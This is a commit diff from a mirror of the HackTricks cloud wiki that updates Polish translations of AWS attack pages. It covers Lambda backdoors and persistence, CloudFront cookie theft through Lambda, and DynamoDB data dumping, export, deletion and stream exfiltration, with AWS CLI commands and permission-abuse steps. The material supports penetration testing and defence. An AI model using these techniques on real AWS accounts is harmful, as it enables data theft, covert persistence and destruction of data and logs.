mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
Translator
+66
-24
@@ -4,7 +4,7 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
Po więcej informacji sprawdź:
|
||||
Aby uzyskać więcej informacji, zobacz:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -12,7 +12,7 @@ Po więcej informacji sprawdź:
|
||||
|
||||
### Lambda Layer Persistence
|
||||
|
||||
Możliwe jest **introduce/backdoor a layer to execute arbitrary code** gdy lambda jest uruchamiana w ukryty sposób:
|
||||
Możliwe jest **introduce/backdoor a layer to execute arbitrary code** gdy Lambda jest uruchamiana w sposób stealthy:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Nadużywając Lambda Layers można też wykorzystać extensions i persistować w lambda oraz kraść i modyfikować requests.
|
||||
Nadużywając Lambda Layers można też wykorzystać extensions, aby persist w Lambda oraz steal i modify requests.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
@@ -28,42 +28,42 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
### Via resource policies
|
||||
|
||||
Można przyznać dostęp do różnych lambda actions (takich jak invoke lub update code) zewnętrznym kontom:
|
||||
Za pomocą polityk zasobów można nadać dostęp do różnych lambda actions (takich jak invoke lub update code) dla kont zewnętrznych:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
A Lambda może mieć **different versions** (z innym code w każdej wersji).\
|
||||
Następnie możesz utworzyć **different aliases with different versions** funkcji lambda i ustawić różne weights dla każdej.\
|
||||
W ten sposób atakujący może stworzyć **backdoored version 1** i **version 2 z only the legit code** i **wykonywać version 1 tylko w 1%** żądań, aby pozostać stealth.
|
||||
Lambda może mieć **różne wersje** (z różnym kodem w każdej wersji).\
|
||||
Następnie możesz utworzyć **różne aliasy z różnymi wersjami** Lambdy i ustawić różne wagi dla każdego.\
|
||||
W ten sposób atakujący mógłby stworzyć **backdoored version 1** i **version 2 with only the legit code** oraz **only execute the version 1 in 1%** zapytań, aby pozostać stealth.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Skopiuj oryginalny code funkcji Lambda
|
||||
2. **Create a new version backdooring** oryginalnego code (lub po prostu z malicious code). Opublikuj i **deploy that version** do $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Przejdź do API Gateway i **create a new POST method** (lub wybierz dowolną inną metodę), która wykona backdoored version funkcji lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Wybierz utworzoną metodę POST i w Actions wybierz **`Deploy API`**
|
||||
6. Teraz, gdy **call the function via POST your Backdoor** zostanie wywołany
|
||||
1. Sklonuj oryginalny kod Lambdy
|
||||
2. **Create a new version backdooring** oryginalnego kodu (lub tylko z złośliwym kodem). Publish i **deploy that version** do $LATEST
|
||||
1. Wywołaj API Gateway powiązany z Lambdą, aby uruchomić kod
|
||||
3. **Create a new version with the original code**, Publish i deploy that **version** do $LATEST.
|
||||
1. To ukryje backdoored code w poprzedniej wersji
|
||||
4. Przejdź do API Gateway i **create a new POST method** (lub wybierz inny method), która wykona backdoored version Lambdy: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Zwróć uwagę na końcówkę :1 w ARN **indicating the version of the function** (version 1 będzie backdoored w tym scenariuszu).
|
||||
5. Wybierz utworzony POST method i w Actions wybierz **`Deploy API`**
|
||||
6. Teraz, gdy wywołasz funkcję przez POST, **your Backdoor** zostanie uruchomiony
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
Fakt, że można uruchamiać **lambda functions when something happen or when some time pass** sprawia, że lambda jest popularnym sposobem na uzyskanie persistence i unikanie wykrycia.\
|
||||
Oto kilka pomysłów, jak uczynić swoją **presence in AWS more stealth by creating lambdas**.
|
||||
Możliwość uruchamiania **lambda functions run when something happen or when some time pass** sprawia, że Lambda jest popularnym sposobem na uzyskanie persistence i unikanie wykrycia.\
|
||||
Poniżej kilka pomysłów, jak uczynić swoją **presence in AWS more stealth by creating lambdas**.
|
||||
|
||||
- Za każdym razem, gdy utworzone zostanie nowe user, lambda generuje nowy user key i wysyła go do atakującego.
|
||||
- Za każdym razem, gdy tworzona jest nowa rola, lambda przyznaje assume role permissions kompromitowanym użytkownikom.
|
||||
- Za każdym razem, gdy tworzone jest nowe konto użytkownika, lambda generuje nowy user key i wysyła go do atakującego.
|
||||
- Za każdym razem, gdy tworzona jest nowa rola, lambda nadaje assume role permissions skompromitowanym użytkownikom.
|
||||
- Za każdym razem, gdy generowane są nowe cloudtrail logs, usuń/zmodyfikuj je
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Nadużyj zmiennej środowiskowej `AWS_LAMBDA_EXEC_WRAPPER`, aby wykonać kontrolowany przez atakującego wrapper script przed startem runtime/handlera. Dostarcz wrapper poprzez Lambda Layer w `/opt/bin/htwrap`, ustaw `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, a następnie wywołaj funkcję. Wrapper uruchamia się wewnątrz procesu runtime funkcji, dziedziczy function execution role i ostatecznie `exec`s rzeczywisty runtime, więc oryginalny handler nadal wykonuje się normalnie.
|
||||
Wykorzystaj zmienną środowiskową `AWS_LAMBDA_EXEC_WRAPPER`, aby uruchomić skrypt wrapper kontrolowany przez atakującego przed startem runtime/handlera. Dostarcz wrapper przez Lambda Layer w `/opt/bin/htwrap`, ustaw `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, a następnie invoke funkcję. Wrapper uruchamia się wewnątrz procesu runtime funkcji, dziedziczy function execution role i w końcu `exec`uje prawdziwy runtime, więc oryginalny handler nadal wykonuje się normalnie.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
@@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Nadużyj Lambda asynchronous destinations razem z konfiguracją Recursion, aby funkcja stale ponownie wywoływała samą siebie bez zewnętrznego schedulera (bez EventBridge, cron itp.). Domyślnie Lambda przerywa pętle rekurencyjne, ale ustawienie recursion config na Allow ponownie je włącza. Destinations dostarczają po stronie usługi dla async invokes, więc pojedyncze seed invoke tworzy stealthy, code-free kanał heartbeat/backdoor. Opcjonalnie użyj reserved concurrency, aby ograniczyć hałas.
|
||||
Nadużyj Lambda asynchronous destinations razem z konfiguracją Recursion, aby funkcja ciągle re-invoke'owała sama siebie bez zewnętrznego scheduler'a (bez EventBridge, cron itd.). Domyślnie Lambda przerywa rekursywne pętle, ale ustawienie recursion config na Allow ponownie je włącza. Destinations deliver on the service side dla async invokes, więc jedno seed invoke tworzy stealthy, code-free heartbeat/backdoor channel. Opcjonalnie throttle z reserved concurrency, aby utrzymać niski noise.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
@@ -79,13 +79,55 @@ aws-lambda-async-self-loop-persistence.md
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
Utwórz ukrytą Lambda version z logiką atakującego i scope resource-based policy do tej konkretnej version (lub aliasu) używając parametru `--qualifier` w `lambda add-permission`. Przyznaj tylko `lambda:InvokeFunction` na `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` principalowi atakującego. Normalne wywołania przez nazwę funkcji lub primary alias pozostają bez zmian, podczas gdy atakujący może bezpośrednio wywołać backdoored version ARN.
|
||||
Stwórz ukrytą wersję Lambdy z logiką atakującego i ogranicz politykę opartą na zasobie do tej konkretnej wersji (lub aliasu) używając parametru `--qualifier` w `lambda add-permission`. Nadaj tylko `lambda:InvokeFunction` na `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` dla principal atakującego. Normalne wywołania przez nazwę funkcji lub główny alias pozostają niezmienione, podczas gdy atakujący może bezpośrednio invoke'ować backdoored version ARN.
|
||||
|
||||
Jest to bardziej stealth niż wystawienie Function URL i nie zmienia primary traffic alias.
|
||||
To jest bardziej stealthy niż expose Function URL i nie zmienia primary traffic alias.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### Freezing AWS Lambda Runtimes
|
||||
|
||||
Atakujący, który ma uprawnienia lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig oraz lambda:GetRuntimeManagementConfig może modyfikować runtime management configuration funkcji. Ten atak jest szczególnie skuteczny, gdy celem jest utrzymanie Lambdy na podatnej wersji runtime lub zachowanie kompatybilności z malicious layers, które mogą być niekompatybilne z nowszymi runtime'ami.
|
||||
|
||||
Atakujący modyfikuje runtime management configuration, aby przypiąć wersję runtime:
|
||||
```bash
|
||||
# Invoke the function to generate runtime logs
|
||||
aws lambda invoke \
|
||||
--function-name $TARGET_FN \
|
||||
--payload '{}' \
|
||||
--region us-east-1 /tmp/ping.json
|
||||
|
||||
sleep 5
|
||||
|
||||
# Freeze automatic runtime updates on function update
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on FunctionUpdate \
|
||||
--region us-east-1
|
||||
```
|
||||
Zweryfikuj zastosowaną konfigurację:
|
||||
```bash
|
||||
aws lambda get-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--region us-east-1
|
||||
```
|
||||
Opcjonalnie: przypnij do konkretnej wersji runtime
|
||||
```bash
|
||||
# Extract Runtime Version ARN from INIT_START logs
|
||||
RUNTIME_ARN=$(aws logs filter-log-events \
|
||||
--log-group-name /aws/lambda/$TARGET_FN \
|
||||
--filter-pattern "INIT_START" \
|
||||
--query 'events[0].message' \
|
||||
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
|
||||
```
|
||||
Przypnij do konkretnej wersji runtime:
|
||||
```bash
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on Manual \
|
||||
--runtime-version-arn $RUNTIME_ARN \
|
||||
--region us-east-1
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+17
-8
@@ -10,22 +10,31 @@ Aby uzyskać więcej informacji, zobacz:
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudfront:Delete*`
|
||||
Atakujący, któremu przyznano uprawnienie cloudfront:Delete*, może usuwać distributions, policies oraz inne krytyczne obiekty konfiguracji CDN — na przykład distributions, cache/origin policies, key groups, origin access identities, functions/configs i powiązane zasoby. Może to spowodować zakłócenia w działaniu usługi, utratę treści oraz usunięcie konfiguracji lub artefaktów śledczych.
|
||||
|
||||
Aby usunąć distribution atakujący może użyć:
|
||||
```bash
|
||||
aws cloudfront delete-distribution \
|
||||
--id <DISTRIBUTION_ID> \
|
||||
--if-match <ETAG>
|
||||
```
|
||||
### Man-in-the-Middle
|
||||
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proponuje kilka różnych scenariuszy, w których **Lambda** może zostać dodana (lub zmodyfikowana, jeśli jest już używana) w **komunikacji przez CloudFront** w celu **wykradzenia** informacji użytkownika (np. sesyjnego **cookie**) oraz **modyfikacji** **response** (wstrzyknięcie złośliwego skryptu JS).
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) opisuje kilka różnych scenariuszy, w których **Lambda** może zostać dodana (lub zmodyfikowana jeśli już jest używana) do **komunikacji przez CloudFront** w celu **kradzieży** informacji użytkownika (np. sesyjnego **cookie**) oraz **modyfikacji** **response** (wstrzyknięcie złośliwego skryptu JS).
|
||||
|
||||
#### scenariusz 1: MitM gdzie CloudFront jest skonfigurowany, by uzyskać dostęp do HTML z bucketu
|
||||
#### scenariusz 1: MitM gdzie CloudFront jest skonfigurowany do pobierania HTML z bucketu
|
||||
|
||||
- **Create** the malicious **function**.
|
||||
- **Associate** it with the CloudFront distribution.
|
||||
- Ustaw **typ zdarzenia na "Viewer Response"**.
|
||||
- **Utwórz** złośliwą **function**.
|
||||
- **Powiąż** ją z dystrybucją CloudFront.
|
||||
- Ustaw **event type to "Viewer Response"**.
|
||||
|
||||
Uzyskując dostęp do response można ukraść cookie użytkowników i wstrzyknąć złośliwy skrypt JS.
|
||||
Uzyskując dostęp do response możesz ukraść cookie użytkownika i wstrzyknąć złośliwy JS.
|
||||
|
||||
#### scenariusz 2: MitM gdzie CloudFront już używa funkcji Lambda
|
||||
|
||||
- **Zmodyfikuj kod** funkcji Lambda, aby wykradać poufne informacje
|
||||
- **Zmodyfikuj kod** funkcji Lambda, aby wykraść wrażliwe informacje
|
||||
|
||||
You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
Możesz sprawdzić [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+93
-54
@@ -4,7 +4,7 @@
|
||||
|
||||
## DynamoDB
|
||||
|
||||
For more information check:
|
||||
Aby uzyskać więcej informacji, zobacz:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
@@ -12,7 +12,7 @@ For more information check:
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Atakujący z tymi uprawnieniami będzie w stanie **pobrać elementy z tabeli po kluczu podstawowym** (nie możesz po prostu zażądać wszystkich danych z tabeli). Oznacza to, że musisz znać klucze podstawowe (możesz je uzyskać, pobierając metadane tabeli (`describe-table`)).
|
||||
Atakujący z tym uprawnieniem będzie mógł **pobrać elementy z tabel po kluczu głównym** (nie można po prostu zażądać wszystkich danych z tabeli). Oznacza to, że musisz znać klucze główne (możesz je uzyskać, pobierając metadane tabeli (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Pośredni privesc poprzez odnalezienie poufnych informacji w tabeli
|
||||
**Potential Impact:** Pośrednie privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Podobnie do poprzednich uprawnień** to pozwala potencjalnemu atakującemu odczytać wartości z tylko 1 tabeli, mając podany klucz główny wpisu do pobrania:
|
||||
**Podobnie jak poprzednie uprawnienia** to uprawnienie pozwala potencjalnemu atakującemu odczytać wartości z zaledwie 1 tabeli, mając klucz główny rekordu do pobrania:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
|
||||
**Potential Impact:** Pośrednie privesc poprzez odnalezienie wrażliwych informacji w tabeli
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Podobnie jak poprzednie uprawnienia** to pozwala potencjalnemu atakującemu na odczyt wartości z tylko 1 tabeli, mając klucz główny wpisu do pobrania. Pozwala użyć [podzbioru porównań](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ale jedynym porównaniem dozwolonym względem klucza głównego (który musi wystąpić) jest "EQ", więc nie możesz użyć porównania, aby pobrać całą bazę danych w jednym żądaniu.
|
||||
**Podobnie jak poprzednie uprawnienia** to uprawnienie umożliwia potencjalnemu atakującemu odczyt wartości jedynie z 1 tabeli, podając klucz główny wpisu do pobrania. Pozwala użyć [podzbioru porównań](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ale jedynym porównaniem dozwolonym dla klucza głównego (który musi się pojawić) jest "EQ", więc nie możesz użyć porównania, aby pobrać całą bazę danych w jednym żądaniu.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,11 +107,11 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potencjalny wpływ:** Pośrednie privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
|
||||
**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Możesz użyć tego uprawnienia, aby **łatwo dumpować całą tabelę**.
|
||||
Możesz użyć tego uprawnienia, aby **dump the entire table easily**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
@@ -124,18 +124,18 @@ Możesz użyć tego uprawnienia, aby **dump the entire table easily**.
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
To uprawnienie pozwala również wykonywać `batch-execute-statement`, na przykład:
|
||||
To uprawnienie pozwala również wykonać `batch-execute-statement`, na przykład:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
ale musisz określić primary key z wartością, więc nie jest to zbyt przydatne.
|
||||
ale musisz podać wartość klucza głównego, więc nie jest to zbyt użyteczne.
|
||||
|
||||
**Potential Impact:** Indirect privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
|
||||
**Potencjalny wpływ:** Indirect privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
To uprawnienie pozwala atakującemu **wyeksportować całą tabelę do wybranego przez niego S3 bucket**:
|
||||
To uprawnienie pozwoli atakującemu na **wyeksportowanie całej tabeli do wybranego przez niego bucketu S3**:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Zwróć uwagę, że aby to zadziałało, tabela musi mieć włączone point-in-time-recovery; możesz sprawdzić, czy tabela je posiada za pomocą:
|
||||
Zwróć uwagę, że aby to zadziałało, tabela musi mieć włączone point-in-time-recovery; możesz sprawdzić, czy tabela ma to włączone za pomocą:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
@@ -155,22 +155,22 @@ aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie poufnych informacji w tabeli
|
||||
**Potencjalny wpływ:** Pośrednie privesc przez zlokalizowanie wrażliwych informacji w tabeli
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
Mając te uprawnienia, atakujący byłby w stanie **utworzyć nową tabelę z kopii zapasowej** (lub nawet utworzyć kopię zapasową, aby następnie przywrócić ją w innej tabeli). Następnie, mając niezbędne uprawnienia, mógłby sprawdzić **informacje** z kopii zapasowych, które c**nie znajdują się już w produkcyjnej** tabeli.
|
||||
Przy tych uprawnieniach atakujący będzie w stanie **utworzyć nową tabelę z kopii zapasowej** (a nawet utworzyć kopię zapasową, aby następnie przywrócić ją do innej tabeli). Następnie, przy odpowiednich uprawnieniach, będzie mógł sprawdzić **informacje** z kopii zapasowych, które **nie znajdują się już w tabeli produkcyjnej**.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Potencjalny wpływ:** Pośredni privesc poprzez odnalezienie wrażliwych informacji w kopii zapasowej tabeli
|
||||
**Potencjalny wpływ:** Pośrednie privesc poprzez zlokalizowanie wrażliwych informacji w kopii zapasowej tabeli
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
To uprawnienie pozwala użytkownikom dodać **nowy element do tabeli lub zastąpić istniejący element** nowym elementem. Jeśli element o tym samym kluczu głównym już istnieje, **cały element zostanie zastąpiony** nowym elementem. Jeśli klucz główny nie istnieje, nowy element z określonym kluczem głównym zostanie **utworzony**.
|
||||
To uprawnienie pozwala użytkownikom na dodanie **nowego elementu do tabeli lub zastąpienie istniejącego elementu** nowym elementem. Jeśli element z tym samym kluczem podstawowym już istnieje, **cały element zostanie zastąpiony** nowym elementem. Jeśli klucz podstawowy nie istnieje, zostanie **utworzony** nowy element o określonym kluczu podstawowym.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -202,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Wykorzystanie dalszych podatności/obejść poprzez możliwość dodawania/modyfikowania danych w tabeli DynamoDB
|
||||
Potencjalny wpływ: Exploitation of further vulnerabilities/bypasses poprzez możliwość dodawania/modyfikowania danych w tabeli DynamoDB
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
To uprawnienie pozwala użytkownikom **modyfikować istniejące atrybuty elementu lub dodawać nowe atrybuty do elementu**. Nie **zastępuje** ono całego elementu; aktualizuje tylko określone atrybuty. Jeśli klucz główny nie istnieje w tabeli, operacja **utworzy nowy element** z określonym kluczem głównym i ustawi atrybuty określone w wyrażeniu aktualizacji.
|
||||
To uprawnienie pozwala użytkownikom na **modyfikowanie istniejących atrybutów elementu lub dodawanie nowych atrybutów do elementu**. Nie **zastępuje** całego elementu; aktualizuje tylko określone atrybuty. Jeśli klucz główny nie istnieje w tabeli, operacja **utworzy nowy element** z określonym kluczem głównym i ustawi atrybuty określone w wyrażeniu aktualizacji.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,49 +242,49 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potencjalny wpływ:** Wykorzystanie dalszych podatności/obejść poprzez możliwość dodawania/modyfikowania danych w tabeli DynamoDB
|
||||
**Potencjalny wpływ:** Wykorzystanie dalszych podatności/bypasses przez możliwość dodawania/modyfikowania danych w tabeli DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
Atakujący posiadający to uprawnienie może **usunąć tabelę DynamoDB, powodując utratę danych**.
|
||||
Atakujący z tym uprawnieniem może **usunąć tabelę DynamoDB, powodując utratę danych**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Potencjalny wpływ**: Utrata danych i zakłócenie działania usług zależnych od usuniętej tabeli.
|
||||
**Potencjalny wpływ**: Utrata danych i zakłócenie usług korzystających z usuniętej tabeli.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Atakujący posiadający to uprawnienie może **usunąć kopię zapasową DynamoDB, potencjalnie powodując utratę danych w scenariuszu odzyskiwania po awarii**.
|
||||
Atakujący z tym uprawnieniem może **usunąć kopię zapasową DynamoDB, co może spowodować utratę danych w scenariuszu odtwarzania po awarii**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Potential impact**: Utrata danych i niemożność przywrócenia z kopii zapasowej w scenariuszu odtwarzania po awarii.
|
||||
**Potencjalny wpływ**: Utrata danych i niemożność odzyskania danych z kopii zapasowej podczas scenariusza odzyskiwania po awarii.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Przetestować, czy to faktycznie działa
|
||||
|
||||
Atakujący posiadający te uprawnienia może **włączyć stream na tabeli DynamoDB, zaktualizować tabelę, aby rozpocząć przesyłanie zmian, a następnie uzyskać dostęp do streamu i monitorować zmiany w tabeli w czasie rzeczywistym**. Pozwala to atakującemu monitorować i exfiltrate zmiany danych, co może prowadzić do data leakage.
|
||||
Atakujący posiadający te uprawnienia może **włączyć stream dla tabeli DynamoDB, zaktualizować tabelę, aby rozpocząć przesyłanie zmian, a następnie uzyskać dostęp do streamu i monitorować zmiany w tabeli w czasie rzeczywistym**. Pozwala to atakującemu monitorować i exfiltrate zmiany danych, co może prowadzić do data leakage.
|
||||
|
||||
1. Włącz stream na tabeli DynamoDB:
|
||||
1. Włącz stream dla tabeli DynamoDB:
|
||||
```bash
|
||||
aws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Opisz stream, aby uzyskać ARN i inne szczegóły:
|
||||
2. Opisz strumień, aby uzyskać ARN i inne szczegóły:
|
||||
```bash
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Uzyskaj shard iterator, używając stream ARN:
|
||||
3. Pobierz iterator shardu używając stream ARN:
|
||||
```bash
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
@@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Użyj shard iterator, aby uzyskać dostęp i exfiltrate dane ze streamu:
|
||||
4. Użyj shard iterator, aby uzyskać dostęp i exfiltrate dane ze strumienia:
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Potencjalny wpływ**: Monitorowanie w czasie rzeczywistym i leak danych zmian w tabeli DynamoDB.
|
||||
**Potencjalny wpływ**: Real-time monitoring and data leakage of the DynamoDB table's changes.
|
||||
|
||||
### Odczyt rekordów przez `dynamodb:UpdateItem` i `ReturnValues=ALL_OLD`
|
||||
### Odczyt elementów za pomocą `dynamodb:UpdateItem` i `ReturnValues=ALL_OLD`
|
||||
|
||||
Atakujący posiadający jedynie uprawnienie `dynamodb:UpdateItem` do tabeli może odczytać rekordy bez standardowych uprawnień do odczytu (`GetItem`/`Query`/`Scan`), wykonując nieszkodliwą aktualizację i żądając `--return-values ALL_OLD`. DynamoDB zwróci pełny obraz rekordu sprzed aktualizacji w polu Attributes odpowiedzi (to nie zużywa RCUs).
|
||||
Atakujący mający jedynie `dynamodb:UpdateItem` na tabeli może odczytać elementy bez żadnych typowych uprawnień do odczytu (`GetItem`/`Query`/`Scan`) poprzez wykonanie nieszkodliwej aktualizacji i żądanie `--return-values ALL_OLD`. DynamoDB zwróci pełny obraz elementu sprzed aktualizacji w polu `Attributes` odpowiedzi (to nie zużywa RCUs).
|
||||
|
||||
- Minimalne uprawnienia: `dynamodb:UpdateItem` do docelowej tabeli/klucza.
|
||||
- Wymagania wstępne: Musisz znać klucz główny rekordu.
|
||||
- Minimalne uprawnienia: `dynamodb:UpdateItem` na docelowej tabeli/kluczu.
|
||||
- Wymagania wstępne: Musisz znać klucz główny elementu.
|
||||
|
||||
Przykład (dodaje nieszkodliwy atrybut i eksfiltruje wcześniejszy rekord w odpowiedzi):
|
||||
Przykład (adds a harmless attribute and exfiltrates the previous item in the response):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
@@ -318,14 +318,14 @@ aws dynamodb update-item \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
Odpowiedź CLI będzie zawierać blok `Attributes` zawierający kompletny poprzedni element (wszystkie atrybuty), co w praktyce daje prymityw odczytu przy dostępie tylko do zapisu.
|
||||
Odpowiedź CLI będzie zawierać blok `Attributes` zawierający kompletny poprzedni element (wszystkie atrybuty), co w praktyce daje możliwość odczytu z dostępu tylko do zapisu.
|
||||
|
||||
**Potencjalny wpływ:** Odczyt dowolnych elementów z tabeli mając jedynie uprawnienia zapisu, umożliwiając egzfiltrację wrażliwych danych, gdy znane są klucze główne.
|
||||
**Potencjalny wpływ:** Odczyt dowolnych elementów z tabeli mając jedynie uprawnienia do zapisu, umożliwiający exfiltration wrażliwych danych, jeśli znane są klucze główne.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
